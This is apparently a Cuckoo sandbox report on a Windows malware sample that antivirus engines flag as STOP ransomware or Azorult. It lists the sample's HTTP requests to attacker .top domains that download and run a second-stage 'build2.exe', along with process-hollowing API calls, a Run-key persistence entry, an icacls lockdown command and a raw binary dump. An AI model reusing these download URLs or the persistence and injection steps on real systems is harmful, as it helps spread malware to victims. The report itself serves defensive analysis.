__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1
__exception__ July 4, 2021, 11:03 a.m.	stacktrace: _vsnprintf+0xa9 strncpy_s-0x79 ntdll+0x79e31 @ 0x77419e31 GetProfileStringW+0x5b74 EnumResourceNamesW-0x40041 kernel32+0x43120 @ 0x75763120 build2+0x8fba2 @ 0x48fba2 build2+0x90ca1 @ 0x490ca1 build2+0xd8e6 @ 0x40d8e6 build2+0xd76f @ 0x40d76f BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 80 78 07 05 0f 84 64 8a 01 00 f6 40 07 3f 0f 84 exception.symbol: _vsnprintf+0xd0 strncpy_s-0x52 ntdll+0x79e58 exception.instruction: cmp byte ptr [eax + 7], 5 exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 499288 exception.address: 0x77419e58 registers.esp: 1623120 registers.edi: 6488064 registers.eax: 4294967288 registers.ebp: 1623164 registers.edx: 0 registers.ebx: 0 registers.esi: 0 registers.ecx: 6488064	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

Performs some HTTP requests (2 events)

request	GET http://dgos.top/dl/build2.exe
request	GET http://astdg.top/nddddhsspen6/get.php?pid=CD20CF071BA7C05D5F5E6CAF42496E78&first=true

Resolves a suspicious Top Level Domain (TLD) (2 events)

domain	astdg.top				description	Generic top level domain TLD
domain	dgos.top				description	Generic top level domain TLD

Allocates read-write-execute memory (usually to unpack itself) (6 events)

Time & API	Arguments	Status
NtProtectVirtualMemory July 4, 2021, 11:02 a.m.	process_identifier: 3972 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 598016 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x007f0000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2021, 11:02 a.m.	process_identifier: 3972 region_size: 1159168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x009b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 4, 2021, 11:03 a.m.	process_identifier: 4888 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 598016 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00670000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory July 4, 2021, 11:03 a.m.	process_identifier: 4888 region_size: 1159168 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a60000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory July 4, 2021, 11:03 a.m.	process_identifier: 3700 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73772000 process_handle: 0xffffffff	1
NtProtectVirtualMemory July 4, 2021, 11:03 a.m.	process_identifier: 2120 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 413696 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0064c000 process_handle: 0xffffffff	1

Foreign language identified in PE resource (10 events)

name

GAHELOCESUFEGUC

language

LANG_SERBIAN

filetype

ASCII text, with very long lines, with no line terminators

sublanguage

SUBLANG_DEFAULT

offset

0x0025c2a0

size

0x000021af

name

NEVOM

language

LANG_SERBIAN

filetype

ASCII text, with very long lines, with no line terminators

sublanguage

SUBLANG_DEFAULT

offset

0x0025b9e0

size

0x000008bd

name

RT_ICON

language

LANG_SERBIAN

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_DEFAULT

offset

0x0025b538

size

0x00000468

name

RT_ICON

language

LANG_SERBIAN

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_DEFAULT

offset

0x0025b538

size

0x00000468

name

RT_ICON

language

LANG_SERBIAN

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_DEFAULT

offset

0x0025b538

size

0x00000468

name

RT_ICON

language

LANG_SERBIAN

filetype

GLS_BINARY_LSB_FIRST

sublanguage

SUBLANG_DEFAULT

offset

0x0025b538

size

0x00000468

name

RT_STRING

language

LANG_SERBIAN

filetype

data

sublanguage

SUBLANG_DEFAULT

offset

0x0025e680

size

0x00000240

name

RT_ACCELERATOR

language

LANG_SERBIAN

filetype

data

sublanguage

SUBLANG_DEFAULT

offset

0x0025e478

size

0x00000010

name

RT_ACCELERATOR

language

LANG_SERBIAN

filetype

data

sublanguage

SUBLANG_DEFAULT

offset

0x0025e478

size

0x00000010

name

RT_GROUP_ICON

language

LANG_SERBIAN

filetype

data

sublanguage

SUBLANG_DEFAULT

offset

0x0025b9a0

size

0x0000003e

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\d4619d00-241d-4776-a151-bd1052ec2f43\build2.exe

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\d4619d00-241d-4776-a151-bd1052ec2f43\build2.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\d4619d00-241d-4776-a151-bd1052ec2f43\build2.exe

An executable file was downloaded by the process build.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile July 4, 2021, 11:03 a.m.	buffer: MZÿÿ¸@àº´ Í!¸LÍ!This program cannot be run in DOS mode. $Î?ìeQ¿eQ¿eQ¿7Ä¿eQ¿7Õ¿ÉeQ¿7Ò¿eQ¿£¿eQ¿eP¿&eQ¿7Û¿eQ¿7Å¿eQ¿7À¿eQ¿RicheQ¿PELY^à R > `×p @Ð64= < Vì&s @p .textAQ R `.rdataRÜp ÞV @@.dataÇP 4 @À.rsrcV XT @@.reloc&LN¬ @BUìQMüEüÇ8sIMüè³å]ÃÌÌÌÌUìQMüEüÇ8sIMüèø²MátUüRè¾ÄEüå]ÂÌÌÌÌÌÌÌÌÌÌÌUìE]ÃÌÌÌÌÌÌÌÌUì]ÃÌÌÌÌÌÌÌÌÌÌÌUìEM]ÃÌUììEEüMüÁMøUüE÷Eü}÷uîMü+MøMðEðå]ÃÌÌÌÌÌÌÌÌÌUìEPMQUREPèh¾ÄE]ÃUìEPMQUREPè¯ÄE]ÃUìjÿhHXId¡Pd%ìMàEàÇMàÇAUàE ;t6jMðè¦ÇEüMàèJUPMàè¬ÇEüÿÿÿÿMðè¦EàMôd å]ÂÌÌÌÌÌÌÌÌÌÌUìjÿhHXId¡Pd%ìMàEàM;t6jMðè¦ÇEüMàèÍEQMàè/ÇEüÿÿÿÿMðè ¦EàMôd å]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌUìjÿhHXId¡Pd%ìMèEè;MtQjMðè¥ÇEüMèèO}tU:ýtEèMPEMèUèEÇEüÿÿÿÿMðè¥Môd å]ÂÌÌÌÌÌÌÌUììMøEø8tdMø:ýtZEøMüUü:tEü;Møt UüÀEüëáMü9uh½h¸JhHJèBÄUüEøH UøÇå]ÃÌÌÌÌÌÌÌUììMôjMüè¤Eô8ýt3MôMøë UøMøPEø8t MøÇëÞEôÇMüè¤å]ÃÌÌÌÌÌÌUììMðjMøè=¤EðMüUðE UEüMð9ýt#UðEôë MôQUô}ôt EôMðëçU:ýt#EMôë UôBEô}ôt MôUëçMøè¤å]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìjÿh YId¡Pd%ìdMMèÇEüEÇtIMÁMUÇE8ýu MÇýÿÿÿÆEüjjMèw3hJRjEPMèÂ1ÆEüÇEüÿÿÿÿEMôd å]ÂÌÌÌÌUìì$MÜEÜÇtIMÜÁMàjjMàè3Màè1þÿÿMÜè)®å]ÃÌÌÌÌÌUìì$MÜMÜè¯ÿÿÿEàtMÜQè.¹ÄEÜå]ÂÌÌUìì`M EPM èÛþÿÿM ÇtIE å]ÂÌÌÌÌÌÌÌÌÌUìì$MÜEÜÇtIMÜèFÿÿÿå]ÃÌÌUìì$MÜEÜÇtIMÜè&ÿÿÿMátUÜRè¥¸ÄEÜå]ÂÌÌÌÌÌÌÌÌÌUìì$MÜEÜÇXJMÜÁMàjjMàè2Màè1ýÿÿMÜè)å]ÃÌÌÌÌÌUììMøEøÀEüMüyrUüBEôë MüÁMôEôå]ÃÌÌÌÌÌÌÌÌÌÌUìì$MÜMÜèoÿÿÿEàtMÜQèî·ÄEÜå]ÂÌÌUìì`M¤ÇEüE¤xrM¤QU ë E¤ÀE M QMèUüÊUüEå]ÂÌÌÌÌÌUìjÿhYId¡Pd%ìdMjMèè ÇEüEÀEÔMëMìUÔÇjjMÔèí0ÆEüEÀ$EÄMËMÌUÄÇjjMÄèÅ0ÆEüEÀDE´M»M¼U´ÇjjM´è0ÆEüEÀdEM«M¬UÇjjMèu0ÆEüEPMQèÄÄÇEüÿÿÿÿEMôd å]ÂÌÌÌÌÌÌÌUìjÿh³XId¡Pd%ìpÿÿÿÇEüpÿÿÿPèùÄÆEüpÿÿÿÁdMÔjjMÔèê/MÔèûÿÿÆEüpÿÿÿÂDU´jjM´èÆ/M´èÞúÿÿÆEüpÿÿÿÀ$EjjMè¢/MèºúÿÿÆEüpÿÿÿÁtÿÿÿjjtÿÿÿèx/tÿÿÿèúÿÿÇEüÿÿÿÿpÿÿÿèkMôd å]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìjÿh@YId¡Pd%ìhMEPMè©ÇEüMÇXJUÂUEÀEMÇU:ýu EÇýÿÿÿÆEüjjMèÊ. hJQjURMè-ÆEüÇEüÿÿÿÿEMôd å]ÂÌÌÌÌÌÌÌUìQMüEüMEüå]ÂÌÌÌÌÌÌÌÌUììMøjMüè-EøxÿsMøQÂEøPMüèMå]ÃÌÌÌÌÌÌÌÌÌUììMôjMüèíEôxvMôyÿsUôBèMôAUôB÷ØÀ÷Ð#EôEøMüèòEøå]ÃÌÌÌÌÌÌÌÌÌÌÌUìEPMQUREPè(Ä]ÃÌÌÌUìEPèävÄ]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMüEüÇsIå]ÃÌÌÌÌÌÌÌÌÌÌÌÌUìQMüEüÇsIMüUQEüå]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMôEô8tMô èõþÿÿPè_vÄå]ÃÌÌÌÌÌÌÌÌUìjÿh[Id¡Pd%ìtMÇEÐEÔPM ÁèJûÿÿÇEüUÇ}Ôýu EÇýÿÿÿÆEüjjMè«, hJQjUÔRMèöÆEüEÐÈEÐÆEüjjMÔèy,MÔè÷ÿÿEMôd å]ÂÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììMôEôU;QsEôQEMðëÇEðUðUü}üu Eô request_handle: 0x00cc0010	1	1	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000a1000', u'virtual_address': u'0x00001000', u'entropy': 7.966481820125816, u'name': u'.text', u'virtual_size': u'0x000a0ef6'}

entropy

7.96648182013

description

A section with a high entropy has been found

entropy

0.87381275441

description

Overall entropy of this PE file is high

Potentially malicious URLs were found in the process memory dump (1 event)

url	http://www.openssl.org/support/faq.html

Yara rule detected in process memory (38 events)

description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Communication using DGA	rule	Network_DGA
description	Communications use DNS	rule	Network_DNS
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Take ScreenShot	rule	ScreenShot
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

172.217.25.14

Allocates execute permission to another process indicative of possible code injection (2 events)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory July 4, 2021, 11:02 a.m.	process_identifier: 8212 region_size: 1273856 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000080	1	0	0
NtAllocateVirtualMemory July 4, 2021, 11:03 a.m.	process_identifier: 3700 region_size: 1273856 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000080	1	0	0

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper

reg_value

"C:\Users\test22\AppData\Local\0629fab9-c068-4a7f-a7d6-1a28e60429b4\build.exe" --AutoStart

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory July 4, 2021, 11:02 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 8212 process_handle: 0x00000080	1	1	0
WriteProcessMemory July 4, 2021, 11:03 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3700 process_handle: 0x00000080	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3972 called NtSetContextThread to modify thread in remote process 8212
Process injection	Process 4888 called NtSetContextThread to modify thread in remote process 3700
NtSetContextThread July 4, 2021, 11:02 a.m.	registers.eip: 2000355780 registers.esp: 1638384 registers.edi: 0 registers.eax: 4342081 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000007c process_identifier: 8212	1	0	0
NtSetContextThread July 4, 2021, 11:03 a.m.	registers.eip: 2000355780 registers.esp: 1638384 registers.edi: 0 registers.eax: 4342081 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000007c process_identifier: 3700	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (6 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3972 resumed a thread in remote process 8212
Process injection	Process 8212 resumed a thread in remote process 4888
Process injection	Process 4888 resumed a thread in remote process 3700
NtResumeThread July 4, 2021, 11:02 a.m.	thread_handle: 0x0000007c suspend_count: 1 process_identifier: 8212	1	0	0
NtResumeThread July 4, 2021, 11:03 a.m.	thread_handle: 0x00000288 suspend_count: 1 process_identifier: 4888	1	0	0
NtResumeThread July 4, 2021, 11:03 a.m.	thread_handle: 0x0000007c suspend_count: 1 process_identifier: 3700	1	0	0

Uses suspicious command line tools or Windows utilities (1 event)

cmdline

icacls "C:\Users\test22\AppData\Local\0629fab9-c068-4a7f-a7d6-1a28e60429b4" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Tries to unhook Windows functions monitored by Cuckoo (1 event)

Time & API	Arguments	Status	Return	Repeated
__anomaly__ July 4, 2021, 11:03 a.m.	tid: 6420 message: Encountered 65537 exceptions, quitting. subcategory: exception function_name:	1	0	0

File has been identified by 26 AntiVirus engines on VirusTotal as malicious (26 events)

Bkav	W32.AIDetect.malware2
Elastic	malicious (high confidence)
FireEye	Generic.mg.f41fd95f121782d8
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
CrowdStrike	win/malicious_confidence_100% (D)
K7GW	Trojan ( 0056689f1 )
K7AntiVirus	Trojan ( 0056689f1 )
Symantec	ML.Attribute.HighConfidence
APEX	Malicious
Kaspersky	UDS:Trojan-Ransom.Win32.Stop.gen
Sophos	ML/PE-A
McAfee-GW-Edition	BehavesLike.Win32.Lockbit.bc
Microsoft	Trojan:Win32/Azorult.BL!MTB
Cynet	Malicious (score: 100)
Acronis	suspicious
VBA32	Malware-Cryptor.InstallCore.6
Malwarebytes	MachineLearning/Anomalous.95%
Rising	Trojan.Generic@ML.96 (RDML:SbQtGbO6zptak1TDyz8yMw)
SentinelOne	Static AI - Malicious PE
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	W32/GenKryptik.ERHN!tr
AVG	Win32:CrypterX-gen [Trj]
Cybereason	malicious.7f1bbd
Avast	Win32:CrypterX-gen [Trj]
Qihoo-360	HEUR/QVM10.1.599A.Malware.Gen

Executed a process and injected code into it, probably while unpacking (18 events)

Time & API	Arguments	Status	Return
CreateProcessInternalW July 4, 2021, 11:02 a.m.	thread_identifier: 3204 thread_handle: 0x0000007c process_identifier: 8212 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\build.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\build.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\build.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000080	1	1
NtGetContextThread July 4, 2021, 11:02 a.m.	thread_handle: 0x0000007c	1	0
NtUnmapViewOfSection July 4, 2021, 11:02 a.m.	base_address: 0x00400000 region_size: 4096 process_identifier: 8212 process_handle: 0x00000080	1	0
NtAllocateVirtualMemory July 4, 2021, 11:02 a.m.	process_identifier: 8212 region_size: 1273856 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000080	1	0
WriteProcessMemory July 4, 2021, 11:02 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 8212 process_handle: 0x00000080	1	1
NtSetContextThread July 4, 2021, 11:02 a.m.	registers.eip: 2000355780 registers.esp: 1638384 registers.edi: 0 registers.eax: 4342081 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000007c process_identifier: 8212	1	0
NtResumeThread July 4, 2021, 11:02 a.m.	thread_handle: 0x0000007c suspend_count: 1 process_identifier: 8212	1	0
CreateProcessInternalW July 4, 2021, 11:03 a.m.	thread_identifier: 5540 thread_handle: 0x000002fc process_identifier: 4372 current_directory: filepath: track: 1 command_line: icacls "C:\Users\test22\AppData\Local\0629fab9-c068-4a7f-a7d6-1a28e60429b4" /deny *S-1-1-0:(OI)(CI)(DE,DC) filepath_r: stack_pivoted: 0 creation_flags: 72 (DETACHED_PROCESS\|IDLE_PRIORITY_CLASS) inherit_handles: 0 process_handle: 0x000002ec	1	1
CreateProcessInternalW July 4, 2021, 11:03 a.m.	thread_identifier: 6676 thread_handle: 0x00000288 process_identifier: 4888 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\build.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\build.exe" --Admin IsNotAutoStart IsNotTask filepath_r: C:\Users\test22\AppData\Local\Temp\build.exe stack_pivoted: 0 creation_flags: 67634196 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_SUSPENDED\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000290	1	1
NtResumeThread July 4, 2021, 11:03 a.m.	thread_handle: 0x00000288 suspend_count: 1 process_identifier: 4888	1	0
